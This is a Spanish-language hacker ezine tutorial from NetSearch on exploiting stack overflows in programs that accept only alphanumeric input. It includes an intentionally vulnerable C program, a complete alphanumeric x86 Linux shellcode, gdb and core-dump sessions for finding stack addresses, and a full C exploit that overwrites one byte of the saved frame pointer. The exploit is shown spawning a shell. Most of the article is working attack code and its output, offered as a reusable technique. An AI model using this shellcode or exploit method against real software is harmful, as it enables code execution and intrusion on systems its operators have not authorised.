=-[ Undersec Security Team ]-================================================
=-[ NetSearch Ezine ]-=======================================================
=-[ Overflows Alfanumericos ]-===============================================
=-[ por RaiSe <raise@undersec.com> ]-========================================




----------------
// 0.- Indice
----------------


0.- Indice
1.- Prologo
2.- Programa Vulnerable
3.- Shellcode
4.- Examinando Pr. Vulnerable
5.- Xplotando Pr. Vulnerable
6.- Conclusion



----------------
// 1.- Prologo
----------------


Hasta ahora se creia (o al menos yo lo creia) que los programas que
chequeaban de alguna manera la entrada de datos alfanumericos estaban exentos
de ser victimas de un xploit. Eran varios los inconvenientes. El mas
inmediato surgia ante la no existencia de shellcodes alfanumericas, con lo
que nos encontrabamos imposibilitados a la hora de ejecutar codigo en nuestra
makina. Esto, como sabran algunos lectores de NetSearch Ezine #5, ya no es un
problema [sino sabeis de lo que hablo echarle un vistazo al articulo 0x4 de
dicho numero para refrescar la memoria ;)].

Aun asi, aunque dispusieramos de una shellcode alfanumerica no era
suficiente, ya que no podiamos escribir practicamente ninguna direccion de
memoria, sobre todo del stack (0xbffftaltal), puesto que printeando esa dire
no nos da valores alfanumericos.

Pues bien, en este texto intentare describir un metodo para escribir xploits
utiles con este tipo de overflows. No es un metodo generico, pero puede servir
en algunas ocasiones.



--------------------------------
// 2.- Programa Vulnerable
--------------------------------


Como intentar xplotar este tipo de overflows de una forma generica es muy 
complicado me basare en un codigo que suele repetirse en bastantes programas
conocidos. Es el siguiente..


<++> alphanum/codigo1.c $e611bcb72f01ec4f59d956c0f7d9af08
/*
 * Programa vulnerable (overflows alfanumericos)
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#include <unistd.h>
 
 
int check(char *str)
{
char buffer[1024];
int n=0;
 
bzero(buffer,1024);
 
while((str[n] != 0x00) && (isalnum((unsigned char)str[n])))
    buffer[n] = str[n++];
 
if (str[n] != 0x00)
    {
    printf("El string contenia un valor no alfanumerico.\n");
    exit(-1);
    }
 
printf("string: %s\n", buffer);
return(0);
 
}

 
main(int argc, char *argv[])
{
 
if (argc < 2)
    {
    printf("%s string\n", argv[0]);
    exit(-1);
    }
 
check(argv[1]);
 
}

<-->


Este codigo es de un programa hipotetico. Se limita a llamar a la funcion
check() con un argumento que es argv[1]. Check() simplemente va copiando el
el contenido de su argumento a un buffer local hasta que encuentra un null o
un caracter no alfanumerico (alfnum a partir de ahora). En caso de esto
ultimo sale del programa inmediatamente con un exit(). Si todos los
caracteres son alfnum retorna a main con un return(0).

Ahora probemos el programilla..


[raise@apolo alpha]$ gcc -g -o codigo1 codigo1.c

[raise@apolo alpha]$ ./codigo1 hoooooooooolaaaaaaaaaaaaaaaaa
string: hoooooooooolaaaaaaaaaaaaaaaaa

[raise@apolo alpha]$ ./codigo1 hoooooooooolaaaaaaaaaaaaaaaaa~
El string contenia un valor no alfanumerico.


Como vemos funciona..

Resumiendo, necesitamos meter una shellcode que solo contenga letras (valen
mayusculas & minusculas) y numeros, y arreglarnoslas para conseguir saltar a
ella. Todo eso metiendo unicamente en el string caracteres alfnum, es decir,
todos estos no valen: "_.,%\/-()=", etc. etc. [Nota: El espacio en blanco
tampoco sirve]. Parece complicado, verdad?. Pues no lo es tanto como
veremos..

Empecemos analizando la shellcode, ya que es un tanto especial. Por cierto,
la scode que aparecio en NS #5 resulto inoperativa para este caso (y para
cualquier overflow alfnum). Mas informacion en el siguiente apartado..



-------------------
// 3.- Shellcode 
-------------------


Como recordareis [los que lo hayan leido claro :)], en NS #5 publique una
shellcode desarrollada por mua alfanumerica (dentro en un articulo de
scodes). Venia bastante explicada y eso, asi que no me voy a repetir con lo
mismo. Solo dos pequeos apuntes..

El primero se refiere al metodo que usaba la anterior scode para poder poner
'nops' (desarrollado por Fatuo - leonardo@hispasecurity.com). Ese metodo
consistia en suponer que el 'xploteador' (persona que programaba el xploit),
se encargaria de sobreescribir el registro %ebp con la direccion de la
shellcode (aparte de sobreescribir la propia dire de retorno claro). Luego se
iba incrementando %ebp con el caracter 'E', que es la instruccion 'incl
%ebp', y que actuaria a modo de nop.

El problema es que a la hora de xplotar un programa de estas caracteristicas
resulta imposible sobreescribir el registro %ebp con la direccion de la
scode, ya que no se pueden poner caracteres no alfnum, con lo que el metodo
es inoperativo. La solucion pasa por programar otro tipo de scode
alfanumerica, a la que se le puedan 'meter' nops. El resultado es lo que
sigue a continuacion, una scode a la que se le pueden 'meter' un maximo de
200 nops. La limitacion de nops es debido a que por cada nop que le pueda
poner 'delante', hay que ponerlo detras, con lo que la longitud de la
shellcode puede crecer desmesuradamente en un momentin de nada XD. Esta
version ocupa 418 bytes. Siento no explicar ni poner el codigo de la scode,
pero el arti creceria excesivamente :(. Para mas informacion podeis leer el
articulo 'Shellcodes en Linux/i386 (2)', en NetSearch Ezine #5.

El nop que usaremos en este caso sera 'G', que corresponde a la instruccion
'incl %edi'.

NOTA: Esta shellcode la hice hace bastante tiempo, pero tuve que modificarla 
      ligeramente a ultima hora para este articulo. Debido a ello el codigo 
      esta sin optimizar, seguramente podria reducirse su tamao de forma 
      considerable.


Codigo de la shellcode (418 bytes):

<++> alphanum/shellcode.h $4c680c747e87efe8572ffcb438abcfac

char shellc[] =
// nops here ..
"DDDDTYTX3H01H01h03h0LLLLLLLLXPY3E01E01u03u0j0fXh8eshXf5VJPfhbi"
"fhDefXf5AJfPDTYhKATYX5KATYPQTUX3H01H01X03X0YRX3E01E03U0Jfh2GfX"
"f3E0f1E0f1U0fh88fX0E1f1E0f3E0fPTRX49HHHQfPfYRX2E00E0BRX0E02E02"
"L0z0L0zYRX4j4aGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG"
"GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG"
"GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG"
"GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG";

<-->



----------------------------------
// 4.- Examinando Pr. Vulnerable
----------------------------------


Para este primer ejemplo el metodo que usaremos sera el de "frame pointer
overwriting", documentado ampliamente en Phrack55 (articulo 8), por klog 
<klog@promisc.org>. 

Pues bien, en este ejemplo lo tenemos bastante facil. Bastaria con 
sobreescribir el %ebp guardado con la direccion del %ebp real mas 4 bytes. Es 
decir, debemos hacer que a la hora de hacer el ret, en %esp este la direccion 
del argumento que le pasamos a check(). Veamoslo con el gdb (las direcciones 
estan sacadas de una Mandrake 8.0 con kernel 2.4.3).


[raise@apolo alpha]$ gdb -q codigo1

(gdb) set args AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(gdb) break check
Breakpoint 1 at 0x80484f9: file codigo1.c, line 15.
(gdb) r
Starting program: /home/raise/ns6/alpha/codigo1 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
Breakpoint 1, check (str=0xbffff97f 'A' <repeats 47 times>) at codigo2.c:15
15      int n=0;
(gdb) disass check
Dump of assembler code for function check:
0x80484f0 <check>:      push   %ebp
0x80484f1 <check+1>:    mov    %esp,%ebp
0x80484f3 <check+3>:    sub    $0x418,%esp
0x80484f9 <check+9>:    movl   $0x0,0xfffffbf4(%ebp)
0x8048503 <check+19>:   sub    $0x8,%esp
        
        [ codigo que no nos interesa ]

0x80485b7 <check+199>:  call   0x80483a8 <printf>
0x80485bc <check+204>:  add    $0x10,%esp
0x80485bf <check+207>:  mov    $0x0,%eax
0x80485c4 <check+212>:  mov    %ebp,%esp
0x80485c6 <check+214>:  pop    %ebp
0x80485c7 <check+215>:  ret
End of assembler dump.
(gdb) break *0x80485c4
Breakpoint 2 at 0x80485c4: file codigo1.c, line 31.
(gdb) c
Continuing.
string: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
Breakpoint 2, check (str=0xbffff97f 'A' <repeats 47 times>) at codigo1.c:31
31      }
(gdb) x/4xw $ebp
0xbffff768:     0xbffff788      0x08048610      0xbffff97f      0x40015a84

Madre mia que rollo he soltado XD. Como vemos la direccion del %ebp guardado 
es 0xbffff788, y se encuentra en 0xbffff768. La direccion de retorno es 
0x08048610, y la del argumento 'str' 0xbffff97f. Pues bien, lo unico que 
tenemos que hacer es sobreescribir un byte del %ebp guardado para que apunte 
a 0x0xbffff768 + 4, con lo que al hacer el ret saltara a la direccion del 
argumento.

Aqui cabe hacer una pequea aclaracion. Aunque en el codigo del programa la
cantidad que se reservara en el stack para nuestro buffer siempre sera la
misma, dependiendo de la longitud que le metamos a argv[1] el valor inicial
de %esp variara. En nuestro caso no se comprueba cuantos argumentos se le
pasan a main (como en la mayoria de los programas), sino que se comprueba que
no sea menor de dos. De esta forma si el valor de %ebp no nos coincide para
que el ultimo byte de su valor + 4 sea alfanumerico, podemos ir jugando con
la longitud de argv[1] (o argv[2], vale cualquiera en nuestro caso), para ir
alineando %esp hasta que nos coincida. La explicacion de por que varia se
debe a que los argumentos pasados a main() tambien se guardan en la pila, y a
mas longitud de los mismos mas stack hay que reservar. Tambien es posible que
sino podemos meter nada en argv[2] podamos alinear la pila usando variables
de entorno.

En nuestro caso particular deberiamos sobreescribir 1 byte de %ebp con el
valor 0x6c (0x68 + 4), cuyo valor en la tabla ascii es 'l'. Y digo deberiamos
porque como %esp es variable debemos calcular los valores 'reales' del stack
metiendo la cantidad exacta de bytes de prueba. Es decir, 1024 bytes del
buffer + 1 que usaremos para sobrescribir %ebp = 1025 (0x401) bytes.  Bien..
eso seria lo logico, pero como estamos usando las binutils nuevas (estoy en
mandrake 8.0), en vez de reservar 1024 bytes se han reservado 1032, por lo
tanto necesitamos 1033 para sobreescribir %ebp. Si quereis mas informacion
sobre el nuevo funcionamiento de las binutils podeis leeros un articulo de
Angel Ramos <seamus@salix.org> que lo explica muy bien, esta disponible en
http://packetstorm.securify.com/papers/unix/disassembling.txt.

Hagamos la prueba..


[raise@apolo alpha]$ gdb -q codigo1

(gdb) set args `perl -e 'print "A" x 1033;'`
(gdb) break *0x80485c4  -> direccion de antes, en check()
Breakpoint 1 at 0x80485c4: file codigo1.c, line 31.
(gdb) r
Starting program: /home/raise/ns6/alpha/codigo1 `perl -e 'print "A" x 1033;'`
string: 
AAAAAAAAAAAAAAAAAAAAAAAA [ muchas A's ] AAAAAAAAAAAAAAAAAAAAAAAAA
 
Breakpoint 1, check (str=0xbffff5a5 'A' <repeats 200 times>...) at 
codigo1.c:31
31      }
(gdb) x/4xw $ebp
0xbffff398:     0xbffff341      0x08048610      0xbffff5a5      0x40015a84


Genial, 0x98 + 4 = 0x9c, que no es un valor alfnum. Veamos.. si restamos 
0xbffff398 - 0x50 nos da 0xbffff348, y 0x48 + 4 nos da 0x4c que si es un 
valor alfum ('L'). Es decir, necesitamos meter 0x50 bytes mas en la pila para 
que nos coincida %esp. Como en argv[1] no podemos meter ni 1 byte mas pq 
fastidiariamos el xploit, vamos a meterlos en argv[2]. Probemos again.. 


[raise@apolo alpha]$ gdb -q codigo1

(gdb) set args `perl -e 'print "A" x 1033;'` `perl -e 'print "A" x 80;'`
(gdb) break *0x80485c4
Breakpoint 1 at 0x80485c4: file codigo1.c, line 31.
(gdb) r
Starting program: /home/raise/ns6/alpha/codigo1 `perl -e 'print "A" x 1033;'` 
`perl -e 'print "A" x 80;'`
string: 
AAAAAAAAAAAAAAAAAAAAAAAA [ muchas A's ] AAAAAAAAAAAAAAAAAAAAAAAAA
 
Breakpoint 1, check (str=0xbffff554 'A' <repeats 200 times>...) at 
codigo1.c:31
31      }
(gdb) x/5xw $ebp
0xbffff348:     0xbffff341      0x08048610      0xbffff554      0x40015a84


Bueno, parece que la cosa funciona :). Ahora solo necesitamos hacer el xploit 
con la shellcode alfanumerica y listo (o no?..). Pasemos al siguiente 
apartado.



----------------------------------
// 5.- Xplotando Pr. Vulnerable
----------------------------------


Pues bien, ahora que ya sabemos las direcciones de memoria exactas lo logico 
seria pensar que ya podemos hacer el xploit.. pues no, todavia falta una cosa 
mas.

Nosotros hemos visto las direcciones teoricas usando gdb, el problema es que 
entre usar un debugger y no usarlo las direcciones de memoria varian 
ligeramente. Por lo tanto tenemos que averiguar las direcciones REALES, sin 
usar gdb. Como?, pues lo mas sencillo es provocando un 'core dump'. Si 
tenemos acceso al codigo fuente del programa lo mas sencillo es meter un 
'while(1);' donde nos apetezca, y luego desde otra terminal hacer algo como 
'kill -s 3 pid', con lo que conseguiremos un core muy guapeton.

Sino tenemos acceso al codigo fuente habra que apaarselas para provocar un 
core. Nosotros supondremos que no tenemos acceso a el. Pensemos.. que tal si 
hacemos lo siguiente? (recordemos que la cantidad de bytes a introducir tiene 
que ser exacta):


[raise@apolo alpha]$ ./codigo1 `perl -e 'print "A" x 1036;'` `perl -e 'print 
"A" x 77;'`
Violacion de segmento (core dumped)
[raise@apolo alpha]$


Vaya, parece que ha funcionado :). Lo que hemos hecho ha sido sobreescribir
%ebp integramente para asegurarnos el core, y restar los bytes de mas a
argv[2] para que nos coincida el alineamiento. Como la direccion va a seguir
siendo aproximada a la que era cuando usabamos el gdb, podemos empezar a
buscar en las cercanias de 0xbffff368, que era la direccion real de %ebp
durante la ejecucion de main(). Observemos..


[raise@apolo alpha]$ gdb -q --core=core
Core was generated by `./codigo1 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x08048615 in ?? ()
(gdb) x/10xw
0xbffff368:     0x41414141      0x08048610      0xbffff570      0x40015a84
0xbffff378:     0xbffff3fc      0x080484d1      0x080496f8      0x080497dc
0xbffff388:     0xbffff3c8      0x400401f0      0x00000003      0xbffff3fc
0xbffff398:     0xbffff40c      0x08048366      0x0804865c      0x00000000
0xbffff3a8:     0xbffff3c8      0x400401da      0x00000000      0xbffff40c


Al parecer la direccion 0xbffff368 ahora corresponde al valor de %ebp, pero
durante la ejecucionde check(): 0x41414141 es el %ebp guardado que acabamos
de sobreescribir, 0x08048610 la direccion de retorno a main(), y 0xbffff570
el argumento (lo que nos interesa). Mas abajo estan distintos valores
realizados por push's en main(), y luego su direccion de retorno
(0x400401f0), argc (0x00000003), etc..

Pues bien, segun esto necesitamos sobreescribir el ultimo byte del %ebp 
guardado con 0x68 + 4 = 0x6c = 'l'. El valor de %ebp lo hemos sobreescrito, 
pero originalmente seria algo como 0xbffff3XX, siendo XX lo que vamos a 
sobreescribir. Y sino nos lo creemos probemos..


[raise@apolo alpha]$ ./codigo1 `perl -e 'print "A" x 1033;'` `perl -e 'print 
"A" x 80;'`
Violacion de segmento (core dumped)
[raise@apolo alpha]$ gdb -q --core=core
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) x/2xw 0xbffff368
0xbffff368:     0xbffff341      0x08048610


Efectivamente :). Bueno, pues ahora solo queda hacer el xploit..


<++> alphanum/xp.c $bbc715e1eb3be6d1b77eff5d5376d9e4
/*
 * Xploit (overflows alfanumericos)
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
 
extern char **environ;
 
main()
{
int i;
char buf[2048], pad[128];
char *arg[4];
char *path = "./codigo1";
 
char shellc[] =
// nops here ..
"DDDDTYTX3H01H01h03h0LLLLLLLLXPY3E01E01u03u0j0fXh8eshXf5VJPfhbi"
"fhDefXf5AJfPDTYhKATYX5KATYPQTUX3H01H01X03X0YRX3E01E03U0Jfh2GfX"
"f3E0f1E0f1U0fh88fX0E1f1E0f3E0fPTRX49HHHQfPfYRX2E00E0BRX0E02E02"
"L0z0L0zYRX4j4aGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG"
"GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG"
"GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG"
"GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG";
 
 
/* rellenamos a ceros */
bzero(buf, 2048);
 
/* seteamos 1032 nops */
memset(buf, 0x47, 1032);
 
/* dejamos 32 nops x si acaso */
for(i=32; i < (strlen(shellc)-32); i++)
    buf[i] = shellc[i-32];
 
/* sobreescribimos %ebp */
buf[1032] = 0x6c;
 
/* 80 bytes de relleno */
bzero(pad, 128);
memset(pad, 0x47, 80);
 
/* seteamos argumentos */
arg[0] = path;
arg[1] = buf;
arg[2] = pad;
arg[3] = NULL;
 
/* lo ejecutamos */
execve(path, arg, environ);
 
}

<-->

La unica novedad es que hemos usando la variable externa 'environ', para que 
las variables de entorno sean exactamente las mismas, ya que un solo byte de 
mas y se nos estropearia todo. El path que usamos es './codigo1', ya que fue 
el que utilizamos a la hora de provocar el core dump. Probemos el xploit..


[raise@apolo alpha]$ gcc -o xp xp.c
[raise@apolo alpha]$ ./xp string:  
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGDDDDTYTX3H01H01h03h0LLLLLLLLXPY3
E01E01u03u0j0fXh8eshXf5VJPfhbHQfPfYRX2E00E0BRX0E02E02L0z0L0zYRX4
                    [ resto de shellcode ]
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGl - bytes no alfnum -
sh-2.04$


X fin.. :). Los bytes no alfnum del final es debido a que con el overflow le
hemos quitado el null del final al string, con lo que printea unos cuantos
bytes de mas.



-------------------
// 6.- Conclusion
-------------------


Aunque este tipo de overflows son muy especificos, y en algunas ocasiones
dificiles de xplotar, queda demostrado que en determinadas circunstancias si
es posible saltarse el chequeo de caracteres no alfanumericos, y conseguir
ejecutar una shell. Lo malo es que antes de hacer el xploit se necesita un
estudio minucioso del programa y de su contexto en memoria, siendo
practicamente imposible que el mismo xploit funcione en dos maquinas
diferentes.

En este ejemplo hemos usado un metodo para sobrescribir el registro %ebp,
pero es posible usar otros mecanismos para conseguir ejecutar una shell. Por
ejemplo podemos sobreescribir la direccion de retorno de main() con 1 o 2
bytes alfanumericos, y mappear la memoria hasta llegar a la zona de librerias
dinamicas, una vez alli buscamos el codigo en ensamblador que nos interese
para saltar a el. Solo es cuestion de hecharle imaginacion :).

Pues nada nas..

Un saludo a tod@s, en especial a Sp4rK, SaO-LiN, cafo, QuasaR, a la pea de
#netsearch, y a todo el mundo en definitiva ;). Nos vemos en NetSearch Ezine 
#7.

Hasta la proxima.


RaiSe
